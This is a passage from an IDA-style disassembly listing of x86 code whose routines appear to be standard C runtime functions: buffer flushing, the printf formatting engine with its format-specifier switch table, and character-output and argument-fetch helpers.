ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F443: ; CODE XREF: sub_41F3D2+12j ; sub_41F3D2+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F3D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F44A proc near ; CODE XREF: sub_41BE6E+17p ; sub_41BE6E+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F468 mov ecx, off_43A680 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F4BA ; --------------------------------------------------------------------------- loc_41F468: ; CODE XREF: sub_41F44A+10j mov ecx, eax push esi mov esi, off_43A680 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F48D and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F496 ; --------------------------------------------------------------------------- loc_41F48D: ; CODE XREF: sub_41F44A+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F496: ; CODE XREF: sub_41F44A+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423BF4 add esp, 1Ch test eax, eax jnz short loc_41F4B6 leave retn ; --------------------------------------------------------------------------- loc_41F4B6: ; CODE XREF: sub_41F44A+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F4BA: ; CODE XREF: sub_41F44A+1Cj and eax, [ebp+arg_4] leave retn sub_41F44A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4BF proc near ; CODE XREF: sub_41C006+46p ; sub_41C100+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F5C8 test al, 40h jnz loc_41F5C8 test al, 1 jz short loc_41F4F7 and dword ptr [esi+4], 0 test al, 10h jz loc_41F5C8 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F4F7: ; CODE XREF: sub_41F4BF+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F531 cmp esi, offset dword_43AD98 jz short loc_41F51F cmp esi, offset dword_43ADB8 jnz short loc_41F52A loc_41F51F: ; CODE XREF: sub_41F4BF+56j push ebx call sub_423D3D test eax, eax pop ecx jnz short loc_41F531 loc_41F52A: ; CODE XREF: sub_41F4BF+5Ej push esi call sub_4238F7 pop ecx loc_41F531: ; CODE XREF: sub_41F4BF+4Ej ; sub_41F4BF+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F59E mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F561 push edi push eax push ebx call sub_422825 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F594 ; --------------------------------------------------------------------------- loc_41F561: ; CODE XREF: sub_41F4BF+90j cmp ebx, 0FFFFFFFFh jz short loc_41F57C mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F581 ; --------------------------------------------------------------------------- loc_41F57C: ; CODE XREF: sub_41F4BF+A5j mov eax, offset dword_43ACE0 loc_41F581: ; CODE XREF: sub_41F4BF+BBj test byte ptr [eax+4], 20h jz short loc_41F594 push 2 push 0 push ebx call sub_422633 add esp, 0Ch loc_41F594: ; CODE XREF: sub_41F4BF+A0j ; sub_41F4BF+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F5B2 ; --------------------------------------------------------------------------- loc_41F59E: ; CODE XREF: sub_41F4BF+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_422825 add esp, 0Ch mov [ebp+arg_4], eax loc_41F5B2: ; CODE XREF: sub_41F4BF+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F5BE or dword ptr [esi+0Ch], 20h jmp short loc_41F5CD ; --------------------------------------------------------------------------- loc_41F5BE: ; CODE XREF: sub_41F4BF+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F5D0 ; --------------------------------------------------------------------------- loc_41F5C8: ; CODE XREF: sub_41F4BF+10j ; sub_41F4BF+18j ... or al, 20h mov [esi+0Ch], eax loc_41F5CD: ; CODE XREF: sub_41F4BF+FDj or eax, 0FFFFFFFFh loc_41F5D0: ; CODE XREF: sub_41F4BF+107j pop esi pop ebx pop ebp retn sub_41F4BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5D4 proc near ; CODE XREF: sub_41C006+29p ; sub_41C100+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FCED mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F608 ; --------------------------------------------------------------------------- loc_41F600: ; CODE XREF: sub_41F5D4+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F608: ; CODE XREF: sub_41F5D4+2Aj cmp [ebp+var_14], edx jl loc_41FCED cmp bl, 20h jl short loc_41F629 cmp bl, 78h jg short loc_41F629 movsx eax, bl mov al, byte ptr flt_427704[eax] and eax, 0Fh jmp short loc_41F62B ; --------------------------------------------------------------------------- loc_41F629: ; CODE XREF: sub_41F5D4+40j ; sub_41F5D4+45j xor eax, eax loc_41F62B: ; CODE XREF: sub_41F5D4+53j movsx eax, byte_427724[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FCDC ; default jmp off_41FCF5[eax*4] ; switch jump loc_41F649: ; DATA XREF: ___:off_41FCF5o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F642 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F664: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o movsx eax, bl ; jumptable 0041F642 case 2 sub eax, 20h jz short loc_41F6A7 sub eax, 3 jz short loc_41F69E sub eax, 8 jz short loc_41F695 dec eax dec eax jz short loc_41F68C sub eax, 3 jnz loc_41FCDC ; default or [ebp+var_4], 8 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F68C: ; CODE XREF: sub_41F5D4+A4j or [ebp+var_4], 4 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F695: ; CODE XREF: sub_41F5D4+A0j or [ebp+var_4], 1 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F69E: ; CODE XREF: sub_41F5D4+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6A7: ; CODE XREF: sub_41F5D4+96j or [ebp+var_4], 2 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6B0: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 2Ah ; jumptable 0041F642 case 3 jnz short loc_41F6D8 lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FCDC ; default or [ebp+var_4], 4 neg eax loc_41F6D0: ; CODE XREF: sub_41F5D4+111j mov [ebp+var_20], eax jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6D8: ; CODE XREF: sub_41F5D4+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F6D0 ; --------------------------------------------------------------------------- loc_41F6E7: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o mov [ebp+var_10], edx ; jumptable 0041F642 case 4 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6EF: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 2Ah ; jumptable 0041F642 case 5 jnz short loc_41F712 lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FCDC ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F712: ; CODE XREF: sub_41F5D4+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F724: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 49h ; jumptable 0041F642 case 6 jz short loc_41F757 cmp bl, 68h jz short loc_41F74E cmp bl, 6Ch jz short loc_41F745 cmp bl, 77h jnz loc_41FCDC ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F745: ; CODE XREF: sub_41F5D4+15Dj or [ebp+var_4], 10h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F74E: ; CODE XREF: sub_41F5D4+158j or [ebp+var_4], 20h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F5D4+153j cmp byte ptr [edi], 36h jnz short loc_41F770 cmp byte ptr [edi+1], 34h jnz short loc_41F770 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F770: ; CODE XREF: sub_41F5D4+186j ; sub_41F5D4+18Cj mov [ebp+var_30], edx loc_41F773: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o mov ecx, off_43A680 ; jumptable 0041F642 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F79F lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FD15 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F79F: ; CODE XREF: sub_41F5D4+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FD15 add esp, 0Ch jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F7B7: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o movsx eax, bl ; jumptable 0041F642 case 7 cmp eax, 67h jg loc_41F9DF cmp eax, 65h jge loc_41F862 cmp eax, 58h jg loc_41F8C0 jz loc_41FA53 sub eax, 43h jz loc_41F883 dec eax dec eax jz short loc_41F858 dec eax dec eax jz short loc_41F858 sub eax, 0Ch jnz loc_41FBDE test word ptr [ebp+var_4], 830h jnz short loc_41F801 or byte ptr [ebp+var_4+1], 8 loc_41F801: ; CODE XREF: sub_41F5D4+227j ; sub_41F5D4+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F80E mov esi, 7FFFFFFFh loc_41F80E: ; CODE XREF: sub_41F5D4+233j lea eax, [ebp+arg_8] push eax call sub_41FDB3 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FA27 test ecx, ecx jnz short loc_41F836 mov ecx, off_43A89C mov [ebp+var_8], ecx loc_41F836: ; CODE XREF: sub_41F5D4+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F83F: ; CODE XREF: sub_41F5D4+282j mov edx, esi dec esi test edx, edx jz loc_41FA1E cmp word ptr [eax], 0 jz loc_41FA1E inc eax inc eax jmp short loc_41F83F ; --------------------------------------------------------------------------- loc_41F858: ; CODE XREF: sub_41F5D4+212j ; sub_41F5D4+216j mov [ebp+var_34], 1 add bl, 20h loc_41F862: ; CODE XREF: sub_41F5D4+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41F946 mov [ebp+var_10], 6 jmp loc_41F954 ; --------------------------------------------------------------------------- loc_41F883: ; CODE XREF: sub_41F5D4+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F88F or byte ptr [ebp+var_4+1], 8 loc_41F88F: ; CODE XREF: sub_41F5D4+2B5j ; sub_41F5D4+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F8D6 call sub_41FDD0 push eax lea eax, [ebp+var_248] push eax call sub_423D63 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F8E9 mov [ebp+var_28], 1 jmp short loc_41F8E9 ; --------------------------------------------------------------------------- loc_41F8C0: ; CODE XREF: sub_41F5D4+1FBj sub eax, 5Ah jz short loc_41F8F7 sub eax, 9 jz short loc_41F88F dec eax jz loc_41FAB9 jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F8D6: ; CODE XREF: sub_41F5D4+2C5j call sub_41FDB3 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F8E9: ; CODE XREF: sub_41F5D4+2E1j ; sub_41F5D4+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F8F7: ; CODE XREF: sub_41F5D4+2EFj lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx jz short loc_41F938 mov ecx, [eax+4] test ecx, ecx jz short loc_41F938 test byte ptr [ebp+var_4+1], 8 jz short loc_41F929 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F929: ; CODE XREF: sub_41F5D4+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41F938: ; CODE XREF: sub_41F5D4+32Fj ; sub_41F5D4+336j mov eax, off_43A898 mov [ebp+var_8], eax push eax jmp loc_41F9D4 ; --------------------------------------------------------------------------- loc_41F946: ; CODE XREF: sub_41F5D4+29Dj jnz short loc_41F954 cmp bl, 67h jnz short loc_41F954 mov [ebp+var_10], 1 loc_41F954: ; CODE XREF: sub_41F5D4+2AAj ; sub_41F5D4:loc_41F946j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43AC28 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41F9A6 cmp [ebp+var_10], 0 jnz short loc_41F9A6 lea eax, [ebp+var_248] push eax call off_43AC34 pop ecx loc_41F9A6: ; CODE XREF: sub_41F5D4+3BCj ; sub_41F5D4+3C2j cmp bl, 67h jnz short loc_41F9BD test esi, esi jnz short loc_41F9BD lea eax, [ebp+var_248] push eax call off_43AC2C pop ecx loc_41F9BD: ; CODE XREF: sub_41F5D4+3D5j ; sub_41F5D4+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41F9D3 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41F9D3: ; CODE XREF: sub_41F5D4+3F0j push edi loc_41F9D4: ; CODE XREF: sub_41F5D4+36Dj call sub_41B960 pop ecx jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41F9DF: ; CODE XREF: sub_41F5D4+1E9j sub eax, 69h jz loc_41FAB9 sub eax, 5 jz loc_41FA8F dec eax jz loc_41FA7C dec eax jz short loc_41FA4C sub eax, 3 jz loc_41F801 dec eax dec eax jz loc_41FABD sub eax, 3 jnz loc_41FBDE mov [ebp+var_2C], 27h jmp short loc_41FA5A ; --------------------------------------------------------------------------- loc_41FA1E: ; CODE XREF: sub_41F5D4+270j ; sub_41F5D4+27Aj sub eax, ecx sar eax, 1 jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41FA27: ; CODE XREF: sub_41F5D4+24Fj test ecx, ecx jnz short loc_41FA34 mov ecx, off_43A898 mov [ebp+var_8], ecx loc_41FA34: ; CODE XREF: sub_41F5D4+455j mov eax, ecx loc_41FA36: ; CODE XREF: sub_41F5D4+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FA45 cmp byte ptr [eax], 0 jz short loc_41FA45 inc eax jmp short loc_41FA36 ; --------------------------------------------------------------------------- loc_41FA45: ; CODE XREF: sub_41F5D4+467j ; sub_41F5D4+46Cj sub eax, ecx jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41FA4C: ; CODE XREF: sub_41F5D4+425j mov [ebp+var_10], 8 loc_41FA53: ; CODE XREF: sub_41F5D4+201j mov [ebp+var_2C], 7 loc_41FA5A: ; CODE XREF: sub_41F5D4+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FAC4 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FAC4 ; --------------------------------------------------------------------------- loc_41FA7C: ; CODE XREF: sub_41F5D4+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FAC4 or byte ptr [ebp+var_4+1], 2 jmp short loc_41FAC4 ; --------------------------------------------------------------------------- loc_41FA8F: ; CODE XREF: sub_41F5D4+417j lea eax, [ebp+arg_8] push eax call sub_41FDB3 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FAA8 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FAAD ; --------------------------------------------------------------------------- loc_41FAA8: ; CODE XREF: sub_41F5D4+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FAAD: ; CODE XREF: sub_41F5D4+4D2j mov [ebp+var_28], 1 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41FAB9: ; CODE XREF: sub_41F5D4+2F7j ; sub_41F5D4+40Ej or [ebp+var_4], 40h loc_41FABD: ; CODE XREF: sub_41F5D4+432j mov [ebp+var_C], 0Ah loc_41FAC4: ; CODE XREF: sub_41F5D4+491j ; sub_41F5D4+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FAD6 lea eax, [ebp+arg_8] push eax call sub_41FDC0 pop ecx jmp short loc_41FB17 ; --------------------------------------------------------------------------- loc_41FAD6: ; CODE XREF: sub_41F5D4+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FAFD test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FAF2 call sub_41FDB3 pop ecx movsx eax, ax loc_41FAEF: ; CODE XREF: sub_41F5D4+527j ; sub_41F5D4+539j cdq jmp short loc_41FB17 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F5D4+510j call sub_41FDB3 pop ecx movzx eax, ax jmp short loc_41FAEF ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F5D4+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FB0F call sub_41FDB3 pop ecx jmp short loc_41FAEF ; --------------------------------------------------------------------------- loc_41FB0F: ; CODE XREF: sub_41F5D4+531j call sub_41FDB3 pop ecx xor edx, edx loc_41FB17: ; CODE XREF: sub_41F5D4+500j ; sub_41F5D4+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FB38 test edx, edx jg short loc_41FB38 jl short loc_41FB27 test eax, eax jnb short loc_41FB38 loc_41FB27: ; CODE XREF: sub_41F5D4+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FB3C ; --------------------------------------------------------------------------- loc_41FB38: ; CODE XREF: sub_41F5D4+547j ; sub_41F5D4+54Bj ... mov esi, eax mov edi, edx loc_41FB3C: ; CODE XREF: sub_41F5D4+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FB45 and edi, 0 loc_41FB45: ; CODE XREF: sub_41F5D4+56Cj cmp [ebp+var_10], 0 jge short loc_41FB54 mov [ebp+var_10], 1 jmp short loc_41FB58 ; --------------------------------------------------------------------------- loc_41FB54: ; CODE XREF: sub_41F5D4+575j and [ebp+var_4], 0FFFFFFF7h loc_41FB58: ; CODE XREF: sub_41F5D4+57Ej mov eax, esi or eax, edi jnz short loc_41FB62 and [ebp+var_1C], 0 loc_41FB62: ; CODE XREF: sub_41F5D4+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FB68: ; CODE XREF: sub_41F5D4+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FB78 mov eax, esi or eax, edi jz short loc_41FBB3 loc_41FB78: ; CODE XREF: sub_41F5D4+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DC20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DBB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FBA9 add ebx, [ebp+var_2C] loc_41FBA9: ; CODE XREF: sub_41F5D4+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FB68 ; --------------------------------------------------------------------------- loc_41FBB3: ; CODE XREF: sub_41F5D4+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FBDE mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FBD1 test eax, eax jnz short loc_41FBDE loc_41FBD1: ; CODE XREF: sub_41F5D4+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FBDB: ; CODE XREF: sub_41F5D4+35Fj ; sub_41F5D4+406j ... mov [ebp+var_C], eax loc_41FBDE: ; CODE XREF: sub_41F5D4+21Bj ; sub_41F5D4+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FCDC ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FC16 test bh, 1 jz short loc_41FBFB mov [ebp+var_16], 2Dh jmp short loc_41FC0F ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41F5D4+61Fj test bl, 1 jz short loc_41FC06 mov [ebp+var_16], 2Bh jmp short loc_41FC0F ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41F5D4+62Aj test bl, 2 jz short loc_41FC16 mov [ebp+var_16], 20h loc_41FC0F: ; CODE XREF: sub_41F5D4+625j ; sub_41F5D4+630j mov [ebp+var_1C], 1 loc_41FC16: ; CODE XREF: sub_41F5D4+61Aj ; sub_41F5D4+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FC36 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FD4A add esp, 10h loc_41FC36: ; CODE XREF: sub_41F5D4+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FD7B add esp, 10h test bl, 8 jz short loc_41FC68 test bl, 4 jnz short loc_41FC68 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FD4A add esp, 10h loc_41FC68: ; CODE XREF: sub_41F5D4+67Bj ; sub_41F5D4+680j cmp [ebp+var_24], 0 jz short loc_41FCAF cmp [ebp+var_C], 0 jle short loc_41FCAF mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FC7D: ; CODE XREF: sub_41F5D4+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423D63 pop ecx test eax, eax pop ecx jle short loc_41FCC4 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FD7B add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FC7D jmp short loc_41FCC4 ; --------------------------------------------------------------------------- loc_41FCAF: ; CODE XREF: sub_41F5D4+698j ; sub_41F5D4+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FD7B add esp, 10h loc_41FCC4: ; CODE XREF: sub_41F5D4+6BCj ; sub_41F5D4+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FCDC ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FD4A add esp, 10h loc_41FCDC: ; CODE XREF: sub_41F5D4+68j ; sub_41F5D4+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F600 loc_41FCED: ; CODE XREF: sub_41F5D4+1Fj ; sub_41F5D4+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F5D4 endp ; --------------------------------------------------------------------------- off_41FCF5 dd offset loc_41F773 ; DATA XREF: sub_41F5D4+6Er dd offset loc_41F649 ; jump table for switch statement dd offset loc_41F664 dd offset loc_41F6B0 dd offset loc_41F6E7 dd offset loc_41F6EF dd offset loc_41F724 dd offset loc_41F7B7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD15 proc near ; CODE XREF: sub_41F5D4+1BDp ; sub_41F5D4+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FD2E mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FD39 ; --------------------------------------------------------------------------- loc_41FD2E: ; CODE XREF: sub_41FD15+9j push ecx push [ebp+arg_0] call sub_41F4BF pop ecx pop ecx loc_41FD39: ; CODE XREF: sub_41FD15+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FD46 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FD46: ; CODE XREF: sub_41FD15+2Aj inc dword ptr [eax] pop ebp retn sub_41FD15 endp ; =============== S U B R O U T I N E ======================================= sub_41FD4A proc near ; CODE XREF: sub_41F5D4+65Ap ; sub_41F5D4+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FD78 mov esi, [esp+8+arg_C] loc_41FD5B: ; CODE XREF: sub_41FD4A+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FD15 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FD78 mov eax, edi dec edi test eax, eax jg short loc_41FD5B loc_41FD78: ; CODE XREF: sub_41FD4A+Bj ; sub_41FD4A+25j pop edi pop esi retn sub_41FD4A endp ; =============== S U B R O U T I N E ======================================= sub_41FD7B proc near ; CODE XREF: sub_41F5D4+670p ; sub_41F5D4+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FDAF mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FD91: ; CODE XREF: sub_41FD7B+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FD15 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FDAF mov eax, ebx dec ebx test eax, eax jg short loc_41FD91 loc_41FDAF: ; CODE XREF: sub_41FD7B+Cj ; sub_41FD7B+2Bj pop edi pop esi pop ebx retn sub_41FD7B endp ; =============== S U B R O U T I N E ======================================= sub_41FDB3 proc near ; CODE XREF: sub_41F5D4+E5p ; sub_41F5D4+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FDB3 endp ; =============== S U B R O U T I N E ======================================= sub_41FDC0 proc near ; CODE XREF: sub_41F5D4+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FDC0 endp ; =============== S U B R O U T I N E ======================================= sub_41FDD0 proc near 